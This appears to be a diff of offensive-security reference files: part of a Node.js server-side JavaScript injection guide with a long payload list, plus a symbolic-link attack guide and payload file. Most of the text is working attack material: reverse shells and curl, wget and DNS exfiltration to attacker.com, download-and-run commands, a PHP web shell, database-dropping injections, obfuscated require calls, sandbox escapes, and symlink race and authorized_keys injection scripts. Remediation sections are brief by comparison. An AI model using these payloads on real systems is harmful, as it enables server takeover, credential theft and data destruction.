```pug
#{global.process.mainModule.require('child_process').execSync('id')}
#{function(){return require('child_process').execSync('whoami')}()}
```
---
### PoC 5: vm.runInNewContext() Bypass
**Vulnerability:** Improper use of Node.js VM module.
**Vulnerable Code:**
```javascript
const vm = require('vm');
app.post('/execute', (req, res) => {
const sandbox = {};
const result = vm.runInNewContext(req.body.code, sandbox);
res.json({ result });
});
```
**Sandbox Escape Payloads:**
```javascript
this.constructor.constructor('return process')()
this.constructor.constructor('return global.process.mainModule.require("child_process").execSync("whoami").toString()')()
(function(){return this.constructor.constructor('return process')()})()
({}).constructor.constructor('return this.process.mainModule.require("child_process").execSync("id").toString()')()
```
---
### PoC 6: setTimeout/setInterval String Evaluation
**Vulnerability:** Using setTimeout/setInterval with string arguments.
**Vulnerable Code:**
```javascript
app.post('/schedule', (req, res) => {
setTimeout(req.body.callback, 1000);
res.json({ scheduled: true });
});
```
**Payloads:**
```javascript
require('child_process').exec('curl attacker.com/?data=$(cat /etc/passwd)')
require('fs').writeFileSync('/tmp/pwned', 'hacked')
global.process.exit(1)
```
---
### PoC 7: JSON.parse with Prototype Pollution
**Vulnerability:** Unsafe parsing leading to prototype pollution and code execution.
**Request:**
```http
POST /api/update HTTP/1.1
Host: example.com
Content-Type: application/json
```
---
### PoC 8: Express Server-Side Rendering
**Vulnerability:** Unsafe SSR with user-controlled templates.
**Vulnerable Code:**
```javascript
app.get('/render', (req, res) => {
res.render('template', {
userInput: req.query.input
});
});
```
**If template uses unsafe rendering:**
```
input=<%= global.process.mainModule.require('child_process').execSync('id') %>
```
---
### PoC 9: child_process with Unsanitized Input
**Vulnerability:** Command injection via child_process.
**Vulnerable Code:**
```javascript
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec(`ping -c 4 ${req.query.host}`, (error, stdout) => {
res.send(stdout);
});
});
```
**Payloads:**
```bash
127.0.0.1; cat /etc/passwd
127.0.0.1 && whoami
127.0.0.1 | nc attacker.com 4444 -e /bin/bash
`curl attacker.com/?data=$(cat /etc/passwd)`
$(curl attacker.com/?data=$(whoami))
```
---
### PoC 10: MongoDB mapReduce Injection
**Vulnerability:** User input in MongoDB mapReduce operations.
**Vulnerable Code:**
```javascript
app.post('/aggregate', async (req, res) => {
const result = await User.mapReduce(
function() { eval(userInput); emit(this._id, 1); },
function(k, v) { return Array.sum(v); },
{ out: "result" }
);
});
```
**Payload:**
```javascript
db.users.find().forEach(function(user) {
db.stolen.insert(user);
});
```
---
## Exploitation Techniques
### 1. Remote Code Execution
```javascript
require('child_process').execSync('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444'])
```
### 2. File System Access
```javascript
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code')
require('fs').readdirSync('/').toString()
```
### 3. Environment Variable Exfiltration
```javascript
process.env
JSON.stringify(process.env)
```
### 4. Database Access
```javascript
require('mongoose').connection.db.admin().listDatabases()
```
### 5. Module Loading
```javascript
require('module')._load('child_process')
global.process.mainModule.require('fs')
```
## Tools for Testing
### 1. **Manual Testing with cURL**
```bash
curl "https://example.com/api?expr=require('os').userInfo()"
curl -X POST https://example.com/execute \
-H "Content-Type: application/json" \
-d '{"code":"global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}'
```
### 2. **Burp Suite**
- Intercept requests
- Inject SSJI payloads in parameters
- Use Intruder for automated testing
### 3. **Custom Scripts**
```javascript
const axios = require('axios');
const payloads = [
'require("fs").readFileSync("/etc/passwd", "utf8")',
'require("child_process").execSync("whoami").toString()',
'global.process.mainModule.require("child_process").execSync("id").toString()'
];
for (const payload of payloads) {
axios.post('https://example.com/execute', {
code: payload
}).then(res => {
console.log(`Payload: ${payload}`);
console.log(`Result: ${res.data}`);
});
}
```
### 4. **MongoDB Testing**
```javascript
const MongoClient = require('mongodb').MongoClient;
// Test $where injection
db.users.find({
$where: "this.username == 'admin' || true"
});
```
## Exploitation Impact
- **Critical:** Remote Code Execution (RCE)
- **High:** Server compromise, data exfiltration
- **Sensitive Data Access:** Database credentials, environment variables, files
- **Denial of Service:** Process termination, resource exhaustion
- **Lateral Movement:** Access to internal networks
## Remediation
### 1. **Never Use eval() or Function()**
```javascript
// Bad
const result = eval(userInput);
// Good - Use safe alternatives
const result = math.evaluate(userInput); // Using math.js library
```
### 2. **Sanitize Input**
```javascript
// Validate and sanitize all user input
const validator = require('validator');
if (!validator.isNumeric(input)) {
throw new Error('Invalid input');
}
```
### 3. **Use Safe Alternatives**
```javascript
// Bad
exec(`command ${userInput}`);
// Good
execFile('command', [userInput]);
```
### 4. **Avoid $where in MongoDB**
```javascript
// Bad
User.find({ $where: `this.username == '${input}'` });
// Good
User.find({ username: input });
```
### 5. **Secure Template Rendering**
```javascript
// Use safe template rendering options
app.set('view options', {
allowProtoProperties: false,
allowProtoMethodsByDefault: false
});
```
### 6. **Input Validation**
```javascript
const Joi = require('joi');
const schema = Joi.object({
expression: Joi.string().regex(/^[0-9+\-*/() ]+$/)
});
const { error, value } = schema.validate(req.body);
```
### 7. **Least Privilege**
- Run Node.js with minimal permissions
- Use containers with restricted capabilities
- Implement proper file system permissions
### 8. **Content Security Policy**
```javascript
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}));
```
### 9. **Disable Dangerous Features**
```javascript
// Disable eval in strict mode
'use strict';
// Use VM2 instead of vm for better sandboxing
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000,
sandbox: {}
});
```
### 10. **Security Auditing**
- Regular code reviews
- Use linters (ESLint with security plugins)
- Dependency scanning (npm audit, Snyk)
- Penetration testing
## Detection and Monitoring
### 1. **Log Suspicious Activity**
```javascript
// Log eval usage
const originalEval = eval;
eval = function(...args) {
logger.warn('eval() called', { args });
return originalEval(...args);
};
```
### 2. **Monitor System Calls**
- Watch for unexpected child processes
- Monitor file system access
- Track network connections
### 3. **Runtime Protection**
```javascript
// Freeze dangerous globals
Object.freeze(require);
Object.freeze(global);
```
## References
- [OWASP - Code Injection](https://owasp.org/www-community/attacks/Code_Injection)
- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)
- [MongoDB Security Checklist](https://docs.mongodb.com/manual/administration/security-checklist/)
- [Avoiding eval and new Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)
- [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html)
## Payloads
See `ssji-payloads.txt` for a comprehensive list of SSJI payloads and injection techniques.
- [MongoDB Security Checklist](https://docs.mongodb.com/manual/administration/security-checklist/)
- [Avoiding eval and new Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)
- [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html)
## Payloads
See `ssji-payloads.txt` for a comprehensive list of SSJI payloads and injection techniques.
+411
View File
@@ -0,0 +1,411 @@
# Server-Side JavaScript Injection (SSJI) Payloads
# ============================================
# 1. BASIC eval() INJECTION
# ============================================
# Simple expressions
2+2
Math.random()
Date.now()
JSON.stringify({})
# Information disclosure
process.version
process.platform
process.arch
process.pid
process.cwd()
process.env
global
this
# File system access
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').readFileSync('/etc/shadow', 'utf8')
require('fs').readFileSync('/proc/self/environ', 'utf8')
require('fs').readdirSync('/').toString()
require('fs').readdirSync('/home').toString()
require('fs').readFileSync('package.json', 'utf8')
require('fs').readFileSync('.env', 'utf8')
# ============================================
# 2. REMOTE CODE EXECUTION (RCE)
# ============================================
# Basic command execution
require('child_process').execSync('whoami').toString()
require('child_process').execSync('id').toString()
require('child_process').execSync('pwd').toString()
require('child_process').execSync('ls -la').toString()
require('child_process').execSync('cat /etc/passwd').toString()
require('child_process').execSync('uname -a').toString()
# Reverse shell
require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
require('child_process').exec('nc -e /bin/bash attacker.com 4444')
require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444'])
# Data exfiltration
require('child_process').execSync('curl attacker.com/?data=$(cat /etc/passwd|base64)').toString()
require('child_process').execSync('wget --post-file=/etc/passwd attacker.com').toString()
# Write backdoor
require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code')
require('fs').writeFileSync('shell.php', '<?php system($_GET["cmd"]); ?>')
# ============================================
# 3. FUNCTION CONSTRUCTOR INJECTION
# ============================================
# Basic Function constructor
new Function('return 2+2')()
new Function('return process.version')()
new Function('return require("os").userInfo()')()
# RCE via Function constructor
new Function('return require("child_process").execSync("whoami").toString()')()
new Function('return global.process.mainModule.require("child_process").execSync("id").toString()')()
# ============================================
# 4. MONGODB $where INJECTION
# ============================================
# Basic MongoDB injection
admin' || '1'=='1
' || true || '
' || '1'=='1' || '
'; return true; //
admin'; return true; //
# MongoDB data exfiltration
'; return this.password.match(/^a/); //
'; return this.email.includes("admin"); //
'; return this.role == "admin"; //
# MongoDB enumeration
'; var users = db.users.find(); return true; //
'; db.users.find().forEach(function(u){print(u)}); return true; //
# MongoDB command execution (if possible)
'; require('child_process').execSync('whoami'); return true; //
'; var fs = require('fs'); fs.readFileSync('/etc/passwd'); return true; //
# MongoDB DoS
'; while(true){}; //
'; db.users.drop(); return true; //
'; db.dropDatabase(); return true; //
# ============================================
# 5. TEMPLATE INJECTION (HANDLEBARS)
# ============================================
# Handlebars RCE
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
# Simplified Handlebars payload
{{this}}
{{this.constructor}}
{{this.constructor.constructor}}
# ============================================
# 6. EJS TEMPLATE INJECTION
# ============================================
<%= global.process.mainModule.require('child_process').execSync('whoami') %>
<%= require('child_process').execSync('cat /etc/passwd').toString() %>
<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8') %>
<%= process.env %>
<%= JSON.stringify(process.env) %>
# ============================================
# 7. PUG/JADE TEMPLATE INJECTION
# ============================================
#{global.process.mainModule.require('child_process').execSync('id')}
#{function(){return require('child_process').execSync('whoami')}()}
#{require('child_process').execSync('cat /etc/passwd').toString()}
- var x = global.process.mainModule.require('child_process').execSync('ls').toString()
= x
# ============================================
# 8. VM SANDBOX ESCAPE
# ============================================
# Constructor chain escape
this.constructor.constructor('return process')()
this.constructor.constructor('return global')()
({}).constructor.constructor('return this')()
# Process access
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
(function(){return this.constructor.constructor('return process')()})()
({}).constructor.constructor('return global.process.mainModule.require("child_process").execSync("id").toString()')()
# Alternative escapes
(function(){return this})().constructor.constructor('return process')()
arguments.callee.caller.constructor('return process')()
# ============================================
# 9. PROTOTYPE POLLUTION TO RCE
# ============================================
# Prototype pollution
{"__proto__": {"isAdmin": true}}
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"isAdmin": true}}}
# Pollution leading to RCE
{"__proto__": {"toString": "require('child_process').execSync('whoami').toString()"}}
{"__proto__": {"valueOf": "require('child_process').execSync('id')"}}
# ============================================
# 10. SETTIMEOUT/SETINTERVAL INJECTION
# ============================================
require('child_process').exec('curl attacker.com/?data=$(whoami)')
require('fs').writeFileSync('/tmp/pwned', 'hacked')
require('child_process').execSync('nc attacker.com 4444 -e /bin/bash')
global.process.exit(1)
# ============================================
# 11. REQUIRE VARIATIONS
# ============================================
# Direct require
require('child_process')
require('fs')
require('net')
require('http')
# Global require
global.require('child_process')
global.process.mainModule.require('child_process')
# Module constructor
process.mainModule.constructor._load('child_process')
global.process.mainModule.constructor._load('fs')
# ============================================
# 12. ENVIRONMENT VARIABLE EXFILTRATION
# ============================================
process.env
JSON.stringify(process.env)
process.env.PATH
process.env.HOME
process.env.USER
process.env.SECRET_KEY
process.env.DATABASE_URL
process.env.API_KEY
# ============================================
# 13. FILE READ VARIATIONS
# ============================================
# Read sensitive files
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').readFileSync('/etc/shadow', 'utf8')
require('fs').readFileSync('/etc/hosts', 'utf8')
require('fs').readFileSync('/proc/self/environ', 'utf8')
require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf8')
require('fs').readFileSync('config/database.yml', 'utf8')
require('fs').readFileSync('.env', 'utf8')
require('fs').readFileSync('package.json', 'utf8')
# Directory listing
require('fs').readdirSync('/').toString()
require('fs').readdirSync('/etc').toString()
require('fs').readdirSync('/home').toString()
require('fs').readdirSync('.').toString()
# ============================================
# 14. COMMAND INJECTION VIA CHILD_PROCESS
# ============================================
# exec variations
require('child_process').exec('cat /etc/passwd', (e,o)=>console.log(o))
require('child_process').execSync('whoami').toString()
require('child_process').execFileSync('ls', ['-la']).toString()
# spawn variations
require('child_process').spawn('cat', ['/etc/passwd'])
require('child_process').spawnSync('id').stdout.toString()
# ============================================
# 15. NETWORK OPERATIONS
# ============================================
# HTTP request
require('http').get('http://attacker.com/?data=exfiltrated')
require('https').get('https://attacker.com/?data=' + process.env.SECRET)
# DNS exfiltration
require('dns').resolve4(process.env.SECRET + '.attacker.com')
# Socket connection
require('net').connect(4444, 'attacker.com')
# ============================================
# 16. PROCESS MANIPULATION
# ============================================
process.exit(1)
process.kill(process.pid)
process.chdir('/')
process.binding('spawn_sync')
# ============================================
# 17. CRYPTO MODULE ACCESS
# ============================================
require('crypto').randomBytes(16).toString('hex')
require('crypto').getHashes()
require('crypto').getCiphers()
# ============================================
# 18. OS MODULE ACCESS
# ============================================
require('os').userInfo()
require('os').hostname()
require('os').platform()
require('os').arch()
require('os').cpus()
require('os').networkInterfaces()
require('os').tmpdir()
require('os').homedir()
# ============================================
# 19. PATH MODULE FOR TRAVERSAL
# ============================================
require('path').resolve('/etc/passwd')
require('path').join(__dirname, '../../../etc/passwd')
# ============================================
# 20. MONGODB SPECIFIC INJECTIONS
# ============================================
# $function aggregation (MongoDB 4.4+)
{$function: {
body: function() { return require('child_process').execSync('whoami').toString(); },
args: [],
lang: "js"
}}
# mapReduce injection
{
map: function() { require('child_process').exec('curl attacker.com/?data=pwned'); emit(this._id, 1); },
reduce: function(k, v) { return Array.sum(v); }
}
# ============================================
# 21. EXPRESS SPECIFIC
# ============================================
# res.render with unsafe data
<%= user.input %>
#{user.input}
{{user.input}}
# ============================================
# 22. WEBPACK/BUNDLER SPECIFIC
# ============================================
__webpack_require__
__non_webpack_require__
# ============================================
# 23. ELECTRON SPECIFIC
# ============================================
require('electron').remote.require('child_process')
require('electron').ipcRenderer.send('exploit')
# ============================================
# 24. OBFUSCATED PAYLOADS
# ============================================
# String concatenation
req+'uire'('child_'+'process').exec('whoami')
# Unicode escaping
require('\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073')
# Hex encoding
require(Buffer.from('6368696c645f70726f63657373', 'hex').toString())
# Base64
require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString())
# Computed property access
global['pro'+'cess'].mainModule['req'+'uire']('child_process')
# ============================================
# 25. NESTING AND CHAINING
# ============================================
require('child_process').exec('wget http://attacker.com/shell.sh -O /tmp/s.sh && bash /tmp/s.sh')
require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)').toString()
# ============================================
# 26. TIME-BASED BLIND SSJI
# ============================================
require('child_process').execSync('sleep 5')
setTimeout(function(){}, 5000)
require('child_process').execSync('ping -c 5 attacker.com')
# ============================================
# 27. OUT-OF-BAND DATA EXFILTRATION
# ============================================
require('child_process').execSync('curl attacker.com -d "$(cat /etc/passwd)"')
require('child_process').execSync('wget --post-data="$(env)" attacker.com')
require('child_process').execSync('nslookup $(whoami).attacker.com')
# ============================================
# 28. WRITESTREAM FOR PERSISTENCE
# ============================================
require('fs').createWriteStream('/tmp/backdoor.js').write('malicious code')
# ============================================
# 29. REGEX DOS (ReDoS) via SSJI
# ============================================
/(a+)+b/.test('aaaaaaaaaaaaaaaaaaaaaa!')
/(a|a)*b/.test('aaaaaaaaaaaaaaaaaaaaaa!')
# ============================================
# 30. TESTING PAYLOADS
# ============================================
# Detection payloads
throw new Error('SSJI Test')
console.log('SSJI_TEST_' + Date.now())
require('fs').writeFileSync('/tmp/ssji_test_' + Date.now(), 'test')
# Simple arithmetic to confirm execution
7*7
Math.sqrt(16)
[1,2,3].join(',')
+628
View File
@@ -0,0 +1,628 @@
# Symbolic Link Attacks (Symlink Attacks)
## Description
Symbolic link attacks, also known as symlink attacks, exploit the behavior of symbolic links (symlinks) in file systems. A symbolic link is a file that points to another file or directory. Attackers can manipulate symlinks to trick applications into accessing, modifying, or deleting files they shouldn't have access to, leading to privilege escalation, information disclosure, or denial of service.
## How Symbolic Link Attacks Work
When an application follows a symbolic link without proper validation:
1. Attacker creates a symlink pointing to a sensitive file
2. Application attempts to write/read to the symlink path
3. Operation is performed on the target file instead
4. Results in unauthorized file access, modification, or deletion
## Common Vulnerabilities
### 1. **Time-of-Check-Time-of-Use (TOCTOU)**
Application checks file permissions, attacker replaces file with symlink before use.
### 2. **Insecure Temporary File Handling**
Applications create predictable temp files that can be symlinked.
### 3. **Log File Symlink**
Replacing log files with symlinks to sensitive files.
### 4. **Archive Extraction**
Extracting archives containing malicious symlinks.
### 5. **File Upload Symlink**
Uploading symlinks via file upload functionality.
### 6. **Configuration File Symlink**
Symlinking configuration files to gain access or privileges.
### 7. **Backup/Restore Symlink**
Exploiting backup processes that follow symlinks.
## Common Attack Vectors
- Temporary file operations
- Log file handling
- File upload functionality
- Archive extraction (tar, zip)
- Backup/restore operations
- Cache directories
- Configuration file access
- Web server document roots
## Testing Methodology & PoC Examples
### PoC 1: Basic Symlink Attack on Temp Files
**Vulnerability:** Application creates predictable temp files.
**Steps to Test:**
1. Identify temp file creation pattern
2. Create symlink before application creates file
3. Application writes to symlink, modifying target file
**Attack:**
```bash
# Attacker predicts temp file location
# Application will create /tmp/app_12345.tmp
# Attacker creates symlink first
ln -s /etc/passwd /tmp/app_12345.tmp
# When application writes to /tmp/app_12345.tmp,
# it actually writes to /etc/passwd
```
**Python Example:**
```python
import os
import time
# Predict temporary file name
temp_file = f"/tmp/app_{os.getpid()}.tmp"
# Create symlink to target
os.symlink("/etc/shadow", temp_file)
# Wait for application to write to temp file
# Application unknowingly writes to /etc/shadow
```
---
### PoC 2: TOCTOU Race Condition with Symlinks
**Vulnerability:** Time gap between checking and using a file.
**Steps to Test:**
1. Application checks if file is safe
2. Attacker quickly replaces file with symlink
3. Application uses the symlink
**Bash Script:**
```bash
#!/bin/bash
# Exploit TOCTOU vulnerability
TARGET="/path/to/sensitive/file"
EXPLOITED="/path/to/app/data/file.txt"
while true; do
# Remove existing file
rm -f "$EXPLOITED" 2>/dev/null
# Create normal file (passes checks)
touch "$EXPLOITED"
# Quickly replace with symlink
rm -f "$EXPLOITED"
ln -s "$TARGET" "$EXPLOITED"
done
```
**C Example:**
```c
// Vulnerable code
if (access(filename, W_OK) == 0) {
// RACE CONDITION WINDOW
// Attacker can replace file with symlink here
FILE *fp = fopen(filename, "w");
fprintf(fp, "sensitive data");
fclose(fp);
}
```
---
### PoC 3: Log File Symlink Attack
**Vulnerability:** Application writes to log files without checking for symlinks.
**Steps to Test:**
1. Identify log file location
2. Replace log file with symlink to target
3. Application logs trigger write to target file
**Attack:**
```bash
# Application writes to /var/log/app.log
# Attacker replaces log file
rm /var/log/app.log
ln -s /etc/passwd /var/log/app.log
# Application's log writes now corrupt /etc/passwd
```
**Request to trigger logging:**
```http
POST /api/endpoint HTTP/1.1
Host: example.com
Content-Type: application/json
```
**Result:** Log entry written to /etc/passwd instead of log file.
---
### PoC 4: Archive Extraction Symlink Attack (Zip Slip)
**Vulnerability:** Extracting archives containing malicious symlinks.
**Steps to Test:**
1. Create archive with symlinks pointing outside extraction directory
2. Upload or provide archive to application
3. Extraction follows symlinks, writing to unintended locations
**Creating Malicious Archive:**
```bash
# Create malicious tar archive
mkdir evil
cd evil
ln -s /etc/passwd symlink.txt
echo "evil content" > data.txt
cd ..
tar -czf evil.tar.gz evil/
# Or with absolute path symlink
ln -s /etc/passwd /tmp/evil_symlink
tar -czf evil.tar.gz /tmp/evil_symlink
# Zip with symlink
ln -s ../../../etc/passwd symlink
zip --symlinks evil.zip symlink
```
**Python Script to Create Malicious Zip:**
```python
import zipfile
import os
# Create zip with malicious symlink
with zipfile.ZipFile('evil.zip', 'w') as zf:
# Create symlink entry
info = zipfile.ZipInfo('link')
info.create_system = 3 # Unix
info.external_attr = 0o120777 << 16 # Symlink
zf.writestr(info, '../../../etc/passwd')
```
---
### PoC 5: File Upload Symlink Bypass
**Vulnerability:** File upload allows symlink creation.
**Steps to Test:**
1. Create symlink on local system
2. Upload symlink file
3. Access uploaded symlink to read target file
**Creating Symlink for Upload:**
```bash
# Create symlink to sensitive file
ln -s /etc/passwd passwd_link.txt
# Upload passwd_link.txt via web form
# If server preserves symlink and allows access:
curl https://example.com/uploads/passwd_link.txt
# Returns contents of /etc/passwd
```
**Multipart Form Data:**
```http
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="link.txt"
Content-Type: application/octet-stream
<symlink binary data>
------boundary--
```
---
### PoC 6: Configuration File Symlink
**Vulnerability:** Application reads configuration from predictable location.
**Steps to Test:**
1. Identify config file location
2. Create symlink from config location to attacker-controlled file
3. Application reads attacker's configuration
**Attack:**
```bash
# Application reads /etc/app/config.ini
# Attacker creates symlink
rm /etc/app/config.ini
ln -s /tmp/attacker_config.ini /etc/app/config.ini
# Attacker's config file
cat > /tmp/attacker_config.ini << EOF
[auth]
admin_password=hacked
debug_mode=true
EOF
```
---
### PoC 7: Web Document Root Symlink
**Vulnerability:** Web server follows symlinks in document root.
**Steps to Test:**
1. Upload or create symlink in web root
2. Access symlink via browser
3. Read arbitrary files from server
**Attack:**
```bash
# Create symlink in web directory
cd /var/www/html/uploads/
ln -s /etc/passwd passwd.txt
ln -s /home/user/.ssh/id_rsa key.txt
# Access via browser
curl https://example.com/uploads/passwd.txt
# Returns /etc/passwd contents
```
**Apache Configuration Exploitation:**
```apache
# If Options FollowSymLinks is enabled
<Directory /var/www/html>
Options FollowSymLinks # Vulnerable!
</Directory>
```
---
### PoC 8: Backup Symlink Attack
**Vulnerability:** Backup process follows symlinks.
**Steps to Test:**
1. Identify backup process and source directory
2. Create symlinks in backup source pointing to sensitive files
3. Backup includes sensitive files
**Attack:**
```bash
# Application backs up /home/user/data/
# Attacker creates symlinks in data directory
cd /home/user/data/
ln -s /etc/shadow shadow_backup
ln -s /root/.ssh/id_rsa root_key
# Backup process follows symlinks and includes sensitive files
# Attacker extracts sensitive files from backup archive
```
---
### PoC 9: Cache Directory Symlink
**Vulnerability:** Application caches data in directory with weak permissions.
**Steps to Test:**
1. Identify cache directory
2. Replace cache file with symlink
3. Application writes cached data to target file
**Attack:**
```bash
# Application caches to /tmp/app_cache/user_123
# Attacker creates symlink
rm -rf /tmp/app_cache/user_123
ln -s /home/victim/.ssh/authorized_keys /tmp/app_cache/user_123
# Application writes cache data (containing attacker's SSH key)
# to victim's authorized_keys file
```
---
### PoC 10: Symlink Directory Traversal
**Vulnerability:** Application accepts file paths without proper validation.
**Steps to Test:**
1. Create symlink chain for directory traversal
2. Use symlinks to access files outside intended directory
**Attack:**
```bash
# Create symlink chain
mkdir -p /tmp/uploads/a/b/c
cd /tmp/uploads
ln -s / a/b/c/root
# Request file via application
GET /api/download?file=a/b/c/root/etc/passwd
# Application follows symlink to /etc/passwd
```
---
## Exploitation Techniques
### 1. **Privilege Escalation**
```bash
# Replace /etc/passwd with symlink to attacker-controlled file
# When application writes to "passwd", it writes to attacker's file
ln -s /tmp/attacker_passwd /etc/passwd
```
### 2. **SSH Key Injection**
```bash
# Symlink authorized_keys
ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys
# Application writes attacker's key to authorized_keys
```
### 3. **Configuration Override**
```bash
# Symlink config file
ln -s /tmp/evil_config /etc/app/app.conf
```
### 4. **Arbitrary File Read**
```bash
# Symlink in web root
ln -s /etc/passwd /var/www/html/exposed.txt
```
### 5. **Arbitrary File Write**
```bash
# Symlink temp file to target
ln -s /etc/crontab /tmp/app_temp_file
```
### 6. **Denial of Service**
```bash
# Symlink to /dev/zero or /dev/random
ln -s /dev/zero /var/log/app.log
# Application hangs trying to read infinite data
```
## Detection and Testing Tools
### 1. **Manual Testing**
```bash
# Check if symlinks are followed
ln -s /etc/passwd test_link.txt
# Upload and access test_link.txt
# Check temp file creation
strace -e openat,open application 2>&1 | grep tmp
```
### 2. **Automated Testing Script**
```python
import os
import time
import requests
def test_symlink_vulnerability(upload_url, access_url):
# Create symlink to /etc/passwd
symlink_name = "test_symlink.txt"
os.symlink("/etc/passwd", symlink_name)
# Upload symlink
with open(symlink_name, 'rb') as f:
files = {'file': f}
response = requests.post(upload_url, files=files)
# Try to access symlink
response = requests.get(f"{access_url}/{symlink_name}")
if "root:" in response.text:
print("[!] Symlink vulnerability confirmed!")
print(response.text)
else:
print("[+] No vulnerability detected")
# Cleanup
os.remove(symlink_name)
```
### 3. **Archive Testing**
```bash
# Create test archive with symlink
ln -s /etc/passwd testlink
tar -czf test.tar.gz testlink
# Upload and extract
# Check if extraction follows symlink
```
### 4. **TOCTOU Race Condition Testing**
```bash
# Run in parallel
while true; do
rm -f target_file
touch target_file
rm -f target_file
ln -s /etc/passwd target_file
done &
# Meanwhile, trigger application to use target_file
```
## Exploitation Impact
- **Critical:** Arbitrary file read/write, privilege escalation
- **High:** SSH key injection, configuration manipulation
- **Medium:** Information disclosure, DoS
- **Data Breach:** Access to sensitive files (passwords, keys, configs)
## Remediation
### 1. **Never Follow Symlinks**
```python
# Bad - Follows symlinks
with open(filename, 'r') as f:
data = f.read()
# Good - Check for symlink first
import os
if os.path.islink(filename):
raise Exception("Symlinks not allowed")
with open(filename, 'r') as f:
data = f.read()
```
### 2. **Use O_NOFOLLOW Flag**
```c
// Open file without following symlinks
int fd = open(filename, O_RDONLY | O_NOFOLLOW);
if (fd == -1 && errno == ELOOP) {
// File is a symlink
printf("Symlink detected, access denied\n");
}
```
### 3. **Validate File Paths**
```python
import os
import pathlib
def is_safe_path(basedir, path):
# Resolve both paths
base = pathlib.Path(basedir).resolve()
target = pathlib.Path(path).resolve()
# Check if target is within basedir
try:
target.relative_to(base)
return True
except ValueError:
return False
```
### 4. **Use Secure Temporary Files**
```python
import tempfile
# Secure temp file creation
with tempfile.NamedTemporaryFile(delete=False) as f:
f.write(b"data")
temp_filename = f.name
```
### 5. **Disable Symlinks in Web Server**
```apache
# Apache
<Directory /var/www/html>
Options -FollowSymLinks
</Directory>
# Nginx
disable_symlinks on;
```
### 6. **Check File Type Before Operations**
```bash
# Check if file is a regular file
if [ -f "$file" ] && [ ! -L "$file" ]; then
cat "$file"
else
echo "Not a regular file or is a symlink"
fi
```
### 7. **Use chroot or Containers**
- Isolate application in restricted environment
- Limit file system access
### 8. **Atomic Operations**
```c
// Use O_EXCL to fail if file exists
int fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, 0600);
if (fd == -1) {
perror("File already exists");
exit(1);
}
```
### 9. **File Permission Checks**
```python
import os
import stat
def is_safe_file(path):
try:
st = os.lstat(path) # lstat doesn't follow symlinks
# Check if it's a symlink
if stat.S_ISLNK(st.st_mode):
return False
# Check if it's a regular file
if not stat.S_ISREG(st.st_mode):
return False
return True
except OSError:
return False
```
### 10. **Input Validation for Archives**
```python
import tarfile
import os
def safe_extract(tar_path, extract_path):
with tarfile.open(tar_path, 'r') as tar:
for member in tar.getmembers():
# Check for absolute paths
if member.name.startswith('/'):
raise Exception("Absolute path in archive")
# Check for path traversal
if '..' in member.name:
raise Exception("Path traversal in archive")
# Check if symlink
if member.issym() or member.islnk():
raise Exception("Symlinks not allowed in archive")
# Safe extraction
tar.extract(member, extract_path)
```
## References
- [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html)
- [CWE-61: UNIX Symbolic Link Following](https://cwe.mitre.org/data/definitions/61.html)
- [CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)
- [OWASP - Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability)
## Payloads
See `symbolic-link-payloads.txt` for a comprehensive list of symlink attack payloads and techniques.
See `symbolic-link-payloads.txt` for a comprehensive list of symlink attack payloads and techniques.
@@ -0,0 +1,436 @@
# Symbolic Link Attack Payloads
# ============================================
# 1. BASIC SYMLINK CREATION
# ============================================
# Create symlink to sensitive files
ln -s /etc/passwd passwd_link.txt
ln -s /etc/shadow shadow_link.txt
ln -s /etc/hosts hosts_link.txt
ln -s /root/.ssh/id_rsa root_key_link
ln -s /home/user/.ssh/authorized_keys auth_keys_link
# Symlink to directories
ln -s /etc/ etc_link
ln -s /root/ root_link
ln -s / rootfs_link
ln -s /var/log/ logs_link
# ============================================
# 2. TEMPORARY FILE SYMLINK ATTACKS
# ============================================
# Predict and create temp file symlinks
ln -s /etc/passwd /tmp/app_12345.tmp
ln -s /etc/shadow /tmp/temp_file_$$.tmp
ln -s /root/.ssh/id_rsa /tmp/upload_temp.txt
